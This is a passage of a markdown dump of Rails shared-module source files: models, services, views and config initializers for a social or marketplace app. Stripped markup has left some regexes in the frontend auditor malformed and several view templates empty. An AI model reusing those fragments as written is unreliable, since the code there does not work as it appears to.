schema_photo_url_for(listing.photos.first)\n    end\n\n    data.compact\n  end\n\n  def video_schema(video)\n    {\n      \"@context\" =&gt; \"https://schema.org\",\n      \"@type\" =&gt; \"VideoObject\",\n      \"name\" =&gt; video.try(:title),\n      \"description\" =&gt; video.try(:description)&amp;.truncate(200),\n      \"uploadDate\" =&gt; video.created_at&amp;.iso8601,\n      \"url\" =&gt; schema_url_for(video)\n    }.compact\n  end\n\n  def recipe_schema(recipe)\n    {\n      \"@context\" =&gt; \"https://schema.org\",\n      \"@type\" =&gt; \"Recipe\",\n      \"name\" =&gt; recipe.try(:title),\n      \"description\" =&gt; recipe.try(:description)&amp;.truncate(200)\n    }.compact\n  end\n\n  def generic_schema(resource)\n    {\n      \"@context\" =&gt; \"https://schema.org\",\n      \"@type\" =&gt; \"Thing\",\n      \"name\" =&gt; resource.try(:title) || resource.try(:name) || resource.to_s,\n      \"url\" =&gt; schema_url_for(resource)\n    }.compact\n  end\n\n  def person_snippet(user)\n    return nil unless user\n    { \"@type\" =&gt; \"Person\", \"name\" =&gt; user.try(:name) || user.try(:username) }\n  end\n\n  def geo_snippet(place)\n    return nil unless place.respond_to?(:latitude) &amp;&amp; place.latitude.present?\n    {\n      \"@type\" =&gt; \"GeoCoordinates\",\n      \"latitude\" =&gt; place.latitude,\n      \"longitude\" =&gt; place.longitude\n    }\n  end\n\n  # Simple ItemList for category / search result pages (good for marketplace, blognet, etc.)\n  def item_list_schema(items, title: nil)\n    {\n      \"@context\" =&gt; \"https://schema.org\",\n      \"@type\" =&gt; \"ItemList\",\n      \"name\" =&gt; title,\n      \"numberOfItems\" =&gt; items.size,\n      \"itemListElement\" =&gt; items.map.with_index(1) do |item, index|\n        {\n          \"@type\" =&gt; \"ListItem\",\n          \"position\" =&gt; index,\n          \"item\" =&gt; {\n            \"@type\" =&gt; \"Product\",\n            \"name\" =&gt; item.try(:title) || item.try(:name),\n            \"url\" =&gt; schema_url_for(item)\n          }\n        }\n      end\n    }.compact\n  end\n\n  def schema_url_for(resource)\n    url_for(resource)\n  rescue StandardError\n    nil\n  end\n\n  def schema_photo_url_for(photo)\n    photo.url\n  rescue StandardError\n    nil\n  end\nend\n```\n\n## `rails/shared/app/jobs/application_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationJob &lt; ActiveJob::Base\n  # Automatically retry jobs that encountered a deadlock\n  # retry_on ActiveRecord::Deadlocked\n\n  # Most jobs are safe to ignore if the underlying records are no longer available\n  # discard_on ActiveJob::DeserializationError\nend\n```\n\n## `rails/shared/app/jobs/shared/media_processing_job.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class MediaProcessingJob &lt; ApplicationJob\n    queue_as :media\n\n    def perform(record_class_name, record_id, attachment_name, variants: {})\n      record = record_class_name.constantize.find(record_id)\n      attachment = record.public_send(attachment_name)\n      files = attachment.respond_to?(:attachments) ? attachment.attachments : Array(attachment)\n\n      files.each do |file|\n        next unless file.respond_to?(:variable?) &amp;&amp; file.variable?\n\n        variants.each do |name, options|\n          file.variant(options.symbolize_keys).processed\n          Rails.logger.info(\"media variant processed #{record_class_name}##{record_id} #{attachment_name}.#{name}\")\n        end\n      end\n    end\n  end\nend\n```\n\n## `rails/shared/app/mailers/application_mailer.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationMailer &lt; ActionMailer::Base\n  default from: \"no-reply@localhost\"\n  layout \"mailer\"\nend\n```\n\n## `rails/shared/app/models/application_record.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationRecord &lt; ActiveRecord::Base\n  primary_abstract_class\n  self.strict_loading_by_default = true\nend\n```\n\n## `rails/shared/app/models/concerns/shared/followable.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  module Followable\n    extend ActiveSupport::Concern\n\n    included do\n      has_many :follows_received, as: :followable, class_name: \"Follow\", dependent: :destroy\n    end\n\n    def followed_by?(user)\n      return false unless user\n\n      follows_received.exists?(follower: user)\n    end\n\n    def followers_count\n      follows_received.count\n    end\n  end\nend\n```\n\n## `rails/shared/app/models/concerns/shared/reactable.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  module Reactable\n    extend ActiveSupport::Concern\n\n    included do\n      has_many :reactions, as: :reactable, dependent: :destroy\n    end\n\n    def reacted_by?(user, kind: \"like\")\n      return false unless user\n\n      reactions.exists?(user:, kind:)\n    end\n\n    def reaction_count(kind = nil)\n      scope = reactions\n      scope = scope.where(kind:) if kind.present?\n      scope.count\n    end\n  end\nend\n```\n\n## `rails/shared/app/models/shared/chat_message.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class ChatMessage &lt; ApplicationRecord\n    self.table_name = \"shared_chat_messages\"\n\n    belongs_to :sender, class_name: \"User\", optional: true\n    belongs_to :chatable, polymorphic: true, optional: true\n\n    validates :body, presence: true, length: { maximum: 2_000 }\n\n    scope :recent, -&gt; { order(created_at: :asc) }\n    scope :anonymous, -&gt; { where(anonymous: true) }\n\n    after_create_commit { broadcast_append_later_to stream_name }\n\n    def display_name\n      return \"Anonymous\" if anonymous? || sender.blank?\n\n      sender.respond_to?(:display_name) ? sender.display_name : sender.email\n    end\n\n    private\n\n    def stream_name\n      chatable ? \"shared:chat:#{chatable_type}:#{chatable_id}\" : \"shared:chat:global\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/models/shared/follow.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class Follow &lt; ApplicationRecord\n    self.table_name = \"follows\"\n\n    belongs_to :follower, class_name: \"User\"\n    belongs_to :followable, polymorphic: true\n\n    validates :follower_id, uniqueness: { scope: %i[followable_type followable_id] }\n    validate :not_self\n\n    after_create_commit { broadcast_replace_later_to stream_name }\n    after_destroy_commit { broadcast_replace_later_to stream_name }\n\n    private\n\n    def not_self\n      errors.add(:base, \"cannot follow self\") if followable == follower\n    end\n\n    def stream_name\n      \"shared:follows:#{followable_type}:#{followable_id}\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/models/shared/notification.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class Notification &lt; ApplicationRecord\n    self.table_name = \"notifications\"\n\n    KINDS = %w[like reaction follow mention reply message custom].freeze\n\n    belongs_to :user\n    belongs_to :actor, class_name: \"User\", optional: true\n    belongs_to :notifiable, polymorphic: true, optional: true\n\n    validates :kind, inclusion: { in: KINDS }\n\n    scope :unread, -&gt; { where(read_at: nil) }\n    scope :recent, -&gt; { order(created_at: :desc) }\n\n    after_create_commit { broadcast_prepend_later_to \"shared:notifications:#{user_id}\" }\n\n    def read?\n      read_at.present?\n    end\n\n    def mark_as_read!\n      update!(read_at: Time.current)\n    end\n  end\nend\n```\n\n## `rails/shared/app/models/shared/post.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class Post &lt; ApplicationRecord\n    self.table_name = \"shared_posts\"\n\n    belongs_to :user, optional: true\n    belongs_to :postable, polymorphic: true, optional: true\n\n    validates :body, presence: true, length: { maximum: 5_000 }\n\n    scope :frontpage, -&gt; { where(frontpage: true).order(created_at: :desc) }\n    scope :recent, -&gt; { order(created_at: :desc) }\n    scope :anonymous, -&gt; { where(anonymous: true) }\n\n    after_create_commit { broadcast_prepend_later_to stream_name }\n    after_update_commit { broadcast_replace_later_to stream_name }\n\n    def display_name\n      return \"Anonymous\" if anonymous? || user.blank?\n\n      user.respond_to?(:display_name) ? user.display_name : user.email\n    end\n\n    private\n\n    def stream_name\n      postable ? \"shared:posts:#{postable_type}:#{postable_id}\" : \"shared:posts:frontpage\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/models/shared/reaction.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class Reaction &lt; ApplicationRecord\n    self.table_name = \"reactions\"\n\n    KINDS = %w[like love laugh wow sad angry local].freeze\n\n    belongs_to :user\n    belongs_to :reactable, polymorphic: true\n\n    validates :kind, inclusion: { in: KINDS }\n    validates :user_id, uniqueness: { scope: %i[reactable_type reactable_id kind] }\n\n    after_create_commit { broadcast_replace_later_to stream_name }\n    after_destroy_commit { broadcast_replace_later_to stream_name }\n\n    private\n\n    def stream_name\n      \"shared:reactions:#{reactable_type}:#{reactable_id}\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/models/shared/review_case.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class ReviewCase &lt; ApplicationRecord\n    self.table_name = \"review_cases\"\n\n    STATES = %w[open reviewing closed ignored].freeze\n    REASONS = %w[spam abuse duplicate off_topic unsafe other].freeze\n\n    belongs_to :reporter, class_name: \"User\", optional: true\n    belongs_to :reviewer, class_name: \"User\", optional: true\n    belongs_to :reviewable, polymorphic: true\n\n    validates :state, inclusion: { in: STATES }\n    validates :reason, inclusion: { in: REASONS }, allow_blank: true\n\n    scope :active, -&gt; { where(state: %w[open reviewing]) }\n    scope :recent, -&gt; { order(created_at: :desc) }\n\n    after_create_commit { broadcast_prepend_later_to \"shared:review_cases\" }\n    after_update_commit { broadcast_replace_later_to \"shared:review_cases\" }\n\n    def close!(user)\n      update!(state: \"closed\", reviewer: user, reviewed_at: Time.current)\n    end\n\n    def ignore!(user)\n      update!(state: \"ignored\", reviewer: user, reviewed_at: Time.current)\n    end\n  end\nend\n```\n\n## `rails/shared/app/services/shared/event_emitter.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class EventEmitter\n    def self.call(name, **payload)\n      new(name, **payload).call\n    end\n\n    def initialize(name, **payload)\n      @name = name.to_s\n      @payload = payload\n    end\n\n    def call\n      if defined?(Rails.event) &amp;&amp; Rails.event.respond_to?(:notify)\n        Rails.event.notify(name, **payload)\n      else\n        Rails.logger.info({ event: name, payload: payload }.to_json)\n      end\n      true\n    rescue StandardError =&gt; e\n      Rails.logger.debug(\"event skipped #{name}: #{e.class}: #{e.message}\")\n      false\n    end\n\n    private\n\n    attr_reader :name, :payload\n  end\nend\n```\n\n## `rails/shared/app/services/shared/frontend_auditor.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class FrontendAuditor\n    Finding = Struct.new(:severity, :path, :rule, :message, keyword_init: true)\n\n    INLINE_STYLE_PATTERN = /]/i\n    INLINE_SCRIPT_PATTERN = /]+src=)[\\s&gt;]/i\n    SHELL_EMBED_PATTERN = /cat\\s+&lt;&lt;[-~]?\\s*['\\\"]?\\w+['\\\"]?\\s*&gt;\\s*(app|config|db|public)\\//\n    KEYFRAMES_PATTERN = /@keyframes\\s+[a-zA-Z0-9_-]+/\n    FONT_FACE_PATTERN = /@font-face/\n    CHART_PATTERN = /new\\s+Chart\\s*\\(|Chart\\.getChart|chart\\.js/i\n\n    def self.call(root:, changed_paths: nil)\n      new(root: root, changed_paths: changed_paths).call\n    end\n\n    def initialize(root:, changed_paths: nil)\n      @root = Pathname(root)\n      @changed_paths = Array(changed_paths).presence\n      @findings = []\n    end\n\n    def call\n      scan_files.each { |path| scan(path) }\n      findings\n    end\n\n    private\n\n    attr_reader :root, :changed_paths, :findings\n\n    def scan_files\n      if changed_paths\n        changed_paths.map { |path| root.join(path) }.select(&amp;:file?)\n      else\n        root.glob(\"**/*\").select(&amp;:file?)\n      end\n    end\n\n    def scan(path)\n      relative = path.relative_path_from(root).to_s\n      body = path.read\n\n      scan_shell(relative, body) if relative.end_with?(\".sh\")\n      scan_view(relative, body) if relative.match?(/\\.(erb|html)$/)\n      scan_style(relative, body) if relative.match?(/\\.(css|scss|sass)$/)\n      scan_javascript(relative, body) if relative.match?(/\\.(js|mjs|ts)$/)\n    rescue Encoding::UndefinedConversionError, Encoding::InvalidByteSequenceError\n      add(:warning, relative, :encoding, \"Could not scan file due encoding issue\")\n    end\n\n    def scan_shell(path, body)\n      add(:error, path, :embedded_app_file, \"Shell script appears to write tracked app files; extract embedded content\") if body.match?(SHELL_EMBED_PATTERN)\n      add(:warning, path, :mixed_shebang, \"Shell script has both bash and zsh shebangs\") if body.include?(\"#!/bin/bash\") &amp;&amp; body.include?(\"#!/usr/bin/env zsh\")\n    end\n\n    def scan_view(path, body)\n      add(:warning, path, :inline_css, \"Inline  block found; extract to tracked stylesheet\") if body.match?(INLINE_STYLE_PATTERN)\n      add(:warning, path, :inline_javascript, \"Inline  block found; extract to tracked JavaScript\") if body.match?(INLINE_SCRIPT_PATTERN)\n      add(:info, path, :chartjs, \"Chart.js detected; protect config/data separation\") if body.match?(CHART_PATTERN)\n    end\n\n    def scan_style(path, body)\n      add(:info, path, :keyframes, \"Keyframes detected; mark restored animations as protected\") if body.match?(KEYFRAMES_PATTERN)\n      add(:info, path, :font_face, \"Font-face detected; keep font declarations in dedicated/protected file\") if body.match?(FONT_FACE_PATTERN)\n      body.scan(/font-size:\\s*(\\d+(?:\\.\\d+)?)px/i).flatten.each do |size|\n        add(:warning, path, :small_font, \"Font size #{size}px is below 16px\") if size.to_f &lt; Shared::FrontendRuleSet::TYPOGRAPHY[:body_font_px][:min]\n      end\n    end\n\n    def scan_javascript(path, body)\n      add(:info, path, :chartjs, \"Chart.js config detected; separate chart data from options\") if body.match?(CHART_PATTERN)\n    end\n\n    def add(severity, path, rule, message)\n      findings &lt;&lt; Finding.new(severity: severity, path: path, rule: rule, message: message)\n    end\n  end\nend\n```\n\n## `rails/shared/app/services/shared/frontend_rule_set.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class FrontendRuleSet\n    TYPOGRAPHY = {\n      line_length: { min: 45, max: 75, ideal: 66, unit: \"ch\" },\n      mobile_line_length: { min: 35, max: 50, unit: \"ch\" },\n      body_line_height: { min: 1.4, max: 1.6 },\n      heading_line_height: { min: 1.0, max: 1.2 },\n      body_font_px: { min: 16 },\n      all_caps_letter_spacing_em: { min: 0.05, max: 0.15 },\n      max_font_families: 2,\n      max_font_weights: 3,\n      max_type_sizes: 8\n    }.freeze\n\n    SPACING = {\n      base_unit: 8,\n      scale: [4, 8, 16, 24, 32, 48, 64].freeze,\n      touch_target_px: { min: 44, recommended: 48 }\n    }.freeze\n\n    PRESERVATION = {\n      externalize_inline_css: true,\n      externalize_inline_javascript: true,\n      preserve_existing_scss: true,\n      preserve_keyframes: true,\n      preserve_chartjs_config: true,\n      preserve_font_faces: true,\n      preserve_svg_assets: true,\n      prefer_unified_diff_for_large_files: true,\n      shell_scripts_must_not_embed_app_files: true\n    }.freeze\n\n    CODE = {\n      max_method_lines: 20,\n      max_parameters: 3,\n      max_nesting: 3,\n      require_guard_clauses: true,\n      require_tracked_source_files: true\n    }.freeze\n\n    def self.to_h\n      {\n        typography: TYPOGRAPHY,\n        spacing: SPACING,\n        preservation: PRESERVATION,\n        code: CODE\n      }\n    end\n  end\nend\n```\n\n## `rails/shared/app/services/shared/live_search.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class LiveSearch\n    def self.call(scope, query:, columns:)\n      new(scope, query:, columns:).call\n    end\n\n    def initialize(scope, query:, columns:)\n      @scope = scope\n      @query = query.to_s.strip\n      @columns = Array(columns)\n    end\n\n    def call\n      return scope if query.empty? || columns.empty?\n\n      like = \"%#{ActiveRecord::Base.sanitize_sql_like(query)}%\"\n      operator = sqlite? ? \"LIKE\" : \"ILIKE\"\n      predicate = columns.map { |column| \"#{column} #{operator} :query\" }.join(\" OR \")\n      scope.where(predicate, query: like)\n    end\n\n    private\n\n    attr_reader :scope, :query, :columns\n\n    def sqlite?\n      ActiveRecord::Base.connection.adapter_name.downcase.include?(\"sqlite\")\n    end\n  end\nend\n```\n\n## `rails/shared/app/services/shared/reaction_toggle.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Shared\n  class ReactionToggle\n    def self.call(user:, reactable:, kind: \"like\")\n      new(user:, reactable:, kind:).call\n    end\n\n    def initialize(user:, reactable:, kind:)\n      @user = user\n      @reactable = reactable\n      @kind = kind.to_s.presence || \"like\"\n    end\n\n    def call\n      klass = defined?(::Reaction) ? ::Reaction : Shared::Reaction\n      reaction = klass.find_by(user: user, reactable: reactable, kind: kind)\n      active = reaction.nil?\n      active ? klass.create!(user: user, reactable: reactable, kind: kind) : reaction.destroy!\n\n      Shared::EventEmitter.call(\"shared.reaction.toggled\", user_id: user.id, target: target_label, kind: kind, active: active) if defined?(Shared::EventEmitter)\n      active\n    end\n\n    private\n\n    attr_reader :user, :reactable, :kind\n\n    def target_label\n      reactable.respond_to?(:to_global_id) ? reactable.to_global_id.to_s : \"#{reactable.class.name}:#{reactable.id}\"\n    end\n  end\nend\n```\n\n## `rails/shared/app/views/shared/_copyable.html.erb`\n```erb\n\n\n  \n  Copy\n\n```\n\n## `rails/shared/app/views/shared/_futurism_pagy_list.html.erb`\n```erb\n&lt;%#\n  Futurism + Pagy infinite scroll (ruby_style.yml mandated pattern).\n  Uses julianrubisch/stimulusreflex/futurism for lazy IntersectionObserver loading of Pagy pages.\n\n  Recommended usage (in index view after initial @pagy, @records = pagy(...)):\n\n    &lt;%= render \"shared/futurism_pagy_list\",\n               records: @listings,\n               partial: \"marketplace/listings/listing_card\",\n               pagy: @pagy %&gt;\n\n  The futurize helper (from the gem) handles placeholders + on-scroll rendering via CableReady.\n  Requires: gem \"futurism\" + pin + registration of the futurism controller.\n%&gt;\n\n&lt;% if records.present? %&gt;\n  \n\n    &lt;% records.each do |record| %&gt;\n      &lt;%= futurize partial: partial, locals: { local_assigns.keys.first.to_sym =&gt; record } do %&gt;\n        \n\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n\n    &lt;%# Optional: classic nav as fallback when JS disabled or for last page %&gt;\n    &lt;% if pagy &amp;&amp; pagy.next %&gt;\n      \n\n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n```\n\n## `rails/shared/app/views/shared/_minimal_ui.html.erb`\n```erb\n&lt;%# Parametric include for ultra-minimal gesture/sensor/cam/Osman UI (synced from MASTER web) %&gt;\n&lt;%# Usage: &lt;%= render \"shared/minimal_ui\" %&gt; in layouts (after body class=\"zen-minimal\") %&gt;\n\n\n&lt;%# For apps with importmap/Stimulus, can also import the JS for customization %&gt;\n```\n\n## `rails/shared/config/boot.rb`\n```ruby\n# frozen_string_literal: true\n\nENV[\"BUNDLE_GEMFILE\"] ||= File.expand_path(\"../Gemfile\", __dir__)\n\nrequire \"bundler/setup\" # Set up gems listed in the Gemfile.\nrequire \"bootsnap/setup\" # Speed up boot time by caching expensive operations.\n```\n\n## `rails/shared/config/bundler-audit.yml`\n```yaml\n# Audit all gems listed in the Gemfile for known security problems by running bin/bundler-audit.\n# CVEs that are not relevant to the application can be enumerated on the ignore list below.\n\nignore:\n  - CVE-THAT-DOES-NOT-APPLY\n```\n\n## `rails/shared/config/ci.rb`\n```ruby\n# frozen_string_literal: true\n\n# Run using bin/ci\n\nCI.run do\n  step \"Setup\", \"bin/setup --skip-server\"\n\n  step \"Style: Ruby\", \"bin/rubocop\"\n\n  step \"Security: Gem audit\", \"bin/bundler-audit\"\n  step \"Security: Importmap vulnerability audit\", \"bin/importmap audit\"\n  step \"Security: Brakeman code analysis\", \"bin/brakeman --quiet --no-pager --exit-on-warn --exit-on-error\"\n\n  step \"Tests: Rails\", \"bin/rails test\"\n  step \"Tests: System\", \"bin/rails test:system\"\n  step \"Tests: Seeds\", \"env RAILS_ENV=test bin/rails db:seed:replant\"\n\n  # Optional: set a green GitHub commit status to unblock PR merge.\n  # Requires the `gh` CLI and `gh extension install basecamp/gh-signoff`.\n  # if success?\n  #   step \"Signoff: All systems go. Ready for merge and deploy.\", \"gh signoff\"\n  # else\n  #   failure \"Signoff: CI failed. Do not merge or deploy.\", \"Fix the issues and try again.\"\n  # end\nend\n```\n\n## `rails/shared/config/environment.rb`\n```ruby\n# frozen_string_literal: true\n\n# Load the Rails application.\nrequire_relative \"application\"\n\n# Initialize the Rails application.\nRails.application.initialize!\n```\n\n## `rails/shared/config/environments/development.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"active_support/core_ext/integer/time\"\n\nRails.application.configure do\n  # Settings specified here will take precedence over those in config/application.rb.\n\n  # Make code changes take effect immediately without server restart.\n  config.enable_reloading = true\n\n  # Do not eager load code on boot.\n  config.eager_load = false\n\n  # Show full error reports.\n  config.consider_all_requests_local = true\n\n  # Enable server timing.\n  config.server_timing = true\n\n  # Enable/disable Action Controller caching. By default Action Controller caching is disabled.\n  # Run rails dev:cache to toggle Action Controller caching.\n  if Rails.root.join(\"tmp/caching-dev.txt\").exist?\n    config.action_controller.perform_caching = true\n    config.action_controller.enable_fragment_cache_logging = true\n    config.public_file_server.headers = { \"cache-control\" =&gt; \"public, max-age=#{2.days.to_i}\" }\n  else\n    config.action_controller.perform_caching = false\n  end\n\n  # Change to :null_store to avoid any caching.\n  config.cache_store = :memory_store\n\n  # Store uploaded files on the local file system (see config/storage.yml for options).\n  config.active_storage.service = :local\n\n  # Don't care if the mailer can't send.\n  config.action_mailer.raise_delivery_errors = false\n\n  # Make template changes take effect immediately.\n  config.action_mailer.perform_caching = false\n\n  # Set localhost to be used by links generated in mailer templates.\n  config.action_mailer.default_url_options = { host: \"localhost\", port: 3000 }\n\n  # Print deprecation notices to the Rails logger.\n  config.active_support.deprecation = :log\n\n  # Raise an error on page load if there are pending migrations.\n  config.active_record.migration_error = :page_load\n\n  # Highlight code that triggered database queries in logs.\n  config.active_record.verbose_query_logs = true\n\n  # Append comments with runtime information tags to SQL queries in logs.\n  config.active_record.query_log_tags_enabled = true\n\n  # Highlight code that enqueued background job in logs.\n  config.active_job.verbose_enqueue_logs = true\n\n  # Highlight code that triggered redirect in logs.\n  config.action_dispatch.verbose_redirect_logs = true\n\n  # Suppress logger output for asset requests.\n  # config.assets.quiet = true  # sprockets only \u2014 not used with propshaft\n\n  # Raises error for missing translations.\n  # config.i18n.raise_on_missing_translations = true\n\n  # Annotate rendered view with file names.\n  config.action_view.annotate_rendered_view_with_filenames = true\n\n  # Uncomment if you wish to allow Action Cable access from any origin.\n  # config.action_cable.disable_request_forgery_protection = true\n\n  # Raise error when a before_action's only/except options reference missing actions.\n  config.action_controller.raise_on_missing_callback_actions = true\n\n  # Apply autocorrection by RuboCop to files generated by `bin/rails generate`.\n  # config.generators.apply_rubocop_autocorrect_after_generate!\nend\n```\n\n## `rails/shared/config/environments/test.rb`\n```ruby\n# frozen_string_literal: true\n\n# The test environment is used exclusively to run your application's\n# test suite. You never need to work with it otherwise. Remember that\n# your test database is \"scratch space\" for the test suite and is wiped\n# and recreated between test runs. Don't rely on the data there!\n\nRails.application.configure do\n  # Settings specified here will take precedence over those in config/application.rb.\n\n  # While tests run files are not watched, reloading is not necessary.\n  config.enable_reloading = false\n\n  # Eager loading loads your entire application. When running a single test locally,\n  # this is usually not necessary, and can slow down your test suite. However, it's\n  # recommended that you enable it in continuous integration systems to ensure eager\n  # loading is working properly before deploying your code.\n  config.eager_load = ENV[\"CI\"].present?\n\n  # Configure public file server for tests with cache-control for performance.\n  config.public_file_server.headers = { \"cache-control\" =&gt; \"public, max-age=3600\" }\n\n  # Show full error reports.\n  config.consider_all_requests_local = true\n  config.cache_store = :null_store\n\n  # Render exception templates for rescuable exceptions and raise for other exceptions.\n  config.action_dispatch.show_exceptions = :rescuable\n\n  # Disable request forgery protection in test environment.\n  config.action_controller.allow_forgery_protection = false\n\n  # Store uploaded files on the local file system in a temporary directory.\n  config.active_storage.service = :test\n\n  # Tell Action Mailer not to deliver emails to the real world.\n  # The :test delivery method accumulates sent emails in the\n  # ActionMailer::Base.deliveries array.\n  config.action_mailer.delivery_method = :test\n\n  # Set host to be used by links generated in mailer templates.\n  config.action_mailer.default_url_options = { host: \"localhost\" }\n\n  # Print deprecation notices to the stderr.\n  config.active_support.deprecation = :stderr\n\n  # Raises error for missing translations.\n  # config.i18n.raise_on_missing_translations = true\n\n  # Annotate rendered view with file names.\n  # config.action_view.annotate_rendered_view_with_filenames = true\n\n  # Raise error when a before_action's only/except options reference missing actions.\n  config.action_controller.raise_on_missing_callback_actions = true\nend\n```\n\n## `rails/shared/config/initializers/assets.rb`\n```ruby\n# frozen_string_literal: true\n\n# assets initializer disabled - using Propshaft not Sprockets\n```\n\n## `rails/shared/config/initializers/content_security_policy.rb`\n```ruby\n# frozen_string_literal: true\n\n# Be sure to restart your server when you modify this file.\n\n# Define an application-wide content security policy.\n# See the Securing Rails Applications Guide for more information:\n# https://guides.rubyonrails.org/security.html#content-security-policy-header\n\n# Rails.application.configure do\n#   config.content_security_policy do |policy|\n#     policy.default_src :self, :https\n#     policy.font_src    :self, :https, :data\n#     policy.img_src     :self, :https, :data\n#     policy.object_src  :none\n#     policy.script_src  :self, :https\n#     policy.style_src   :self, :https\n#     # Specify URI for violation reports\n#     # policy.report_uri \"/csp-violation-report-endpoint\"\n#   end\n#\n#   # Generate session nonces for permitted importmap, inline scripts, and inline styles.\n#   config.content_security_policy_nonce_generator = -&gt;(request) { request.session.id.to_s }\n#   config.content_security_policy_nonce_directives = %w(script-src style-src)\n#\n#   # Automatically add `nonce` to `javascript_tag`, `javascript_include_tag`, and `stylesheet_link_tag`\n#   # if the corresponding directives are specified in `content_security_policy_nonce_directives`.\n#   # config.content_security_policy_nonce_auto = true\n#\n#   # Report violations without enforcing the policy.\n#   # config.content_security_policy_report_only = true\n# end\n```\n\n## `rails/shared/config/initializers/filter_parameter_logging.rb`\n```ruby\n# frozen_string_literal: true\n\n# Be sure to restart your server when you modify this file.\n\n# Configure parameters to be partially matched (e.g. passw matches password) and filtered from the log file.\n# Use this to limit dissemination of sensitive information.\n# See the ActiveSupport::ParameterFilter documentation for supported notations and behaviors.\nRails.application.config.filter_parameters += [\n  :passw, :email, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn, :cvv, :cvc\n]\n```\n\n## `rails/shared/config/initializers/inflections.rb`\n```ruby\n# frozen_string_literal: true\n\n# Be sure to restart your server when you modify this file.\n\n# Add new inflection rules using the following format. Inflections\n# are locale specific, and you may define rules for as many different\n# locales as you wish. All of these examples are active by default:\n# ActiveSupport::Inflector.inflections(:en) do |inflect|\n#   inflect.plural /^(ox)$/i, \"\\\\1en\"\n#   inflect.singular /^(ox)en/i, \"\\\\1\"\n#   inflect.irregular \"person\", \"people\"\n#   inflect.uncountable %w( fish sheep )\n# end\n\n# These inflection rules are supported but not enabled by default:\n# ActiveSupport::Inflector.inflections(:en) do |inflect|\n#   inflect.acronym \"RESTful\"\n# end\n```\n\n## `rails/shared/config/initializers/pagy.rb`\n```ruby\n# frozen_string_literal: true\n\n# Consolidated Pagy initializer (shared across all apps via deploy).\n# See ruby_style.yml \u2192 stimulus_reflex_stack + infinite_scroll pattern.\n# Recommended pairing for long lists: Pagy + Futurism (julianrubisch / stimulusreflex/futurism)\n#   - Use futurize(@collection, partial: \"...\") with IntersectionObserver sentinel\n#   - Or classic pagy_nav for simpler cases; switch to futurism for infinite scroll UX.\n#\n# Pagy extras loaded here so all apps get consistent defaults + overflow behavior.\n\nrequire \"pagy/extras/overflow\"\nrequire \"pagy/extras/metadata\" # useful for futurism / turbo responses\n\nPagy::DEFAULT[:items]    = 25\nPagy::DEFAULT[:overflow] = :last_page\n\n# For Futurism + Pagy infinite scroll, controllers typically do:\n# @pagy, @records = pagy(scope, items: 20)\n# Then in view: futurize partial: \"shared/record\", collection: @records ...\n```\n\n## `rails/shared/config/initializers/ruby_llm.rb`\n```ruby\n# frozen_string_literal: true\n\n# RubyLLM initializer \u2014 unified LLM access (OpenAI, Anthropic, Gemini, etc.)\n# See WIRING_NOTES.md LLM / AI Readiness section and MASTER data/ruby_style.yml.\n#\n# Configure via ENV:\n#   RUBY_LLM_OPENAI_API_KEY=...\n#   RUBY_LLM_ANTHROPIC_API_KEY=...\n#\n# Usage in services/controllers:\n#   chat = RubyLLM.chat\n#   response = chat.ask(\"Summarize this post for a city feed\")\n#\n# Tie into MASTER cognition/pipeline for council, moderation, generation, ranking.\n\nRubyLLM.configure do |config|\n  config.openai_api_key      = ENV[\"OPENAI_API_KEY\"] || ENV[\"RUBY_LLM_OPENAI_API_KEY\"]\n  config.anthropic_api_key   = ENV[\"ANTHROPIC_API_KEY\"] || ENV[\"RUBY_LLM_ANTHROPIC_API_KEY\"]\n  # config.gemini_api_key    = ENV[\"GEMINI_API_KEY\"]\n  # config.default_model     = \"gpt-4o-mini\"   # or claude-3-haiku etc.\nend\n```\n\n## `rails/shared/config/locales/en.yml`\n```yaml\n# Files in the config/locales directory are used for internationalization and\n# are automatically loaded by Rails. If you want to use locales other than\n# English, add the necessary files in this directory.\n#\n# To use the locales, use `I18n.t`:\n#\n#     I18n.t \"hello\"\n#\n# In views, this is aliased to just `t`:\n#\n#     &lt;%= t(\"hello\") %&gt;\n#\n# To use a different locale, set it with `I18n.locale`:\n#\n#     I18n.locale = :es\n#\n# This would use the information in config/locales/es.yml.\n#\n# To learn more about the API, please read the Rails Internationalization guide\n# at https://guides.rubyonrails.org/i18n.html.\n#\n# Be aware that YAML interprets the following case-insensitive strings as\n# booleans: `true`, `false`, `on`, `off`, `yes`, `no`. Therefore, these strings\n# must be quoted to be interpreted as strings. For example:\n#\n#     en:\n#       \"yes\": yup\n#       enabled: \"ON\"\n\nen:\n  hello: \"Hello world\"\n```\n\n## `rails/shared/config/storage.yml`\n```yaml\ntest:\n  service: Disk\n  root: &lt;%= Rails.root.join(\"tmp/storage\") %&gt;\n\nlocal:\n  service: Disk\n  root: &lt;%= Rails.root.join(\"storage\") %&gt;\n\n# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)\n# amazon:\n#   service: S3\n#   access_key_id: &lt;%= Rails.application.credentials.dig(:aws, :access_key_id) %&gt;\n#   secret_access_key: &lt;%= Rails.application.credentials.dig(:aws, :secret_access_key) %&gt;\n#   region: us-east-1\n#   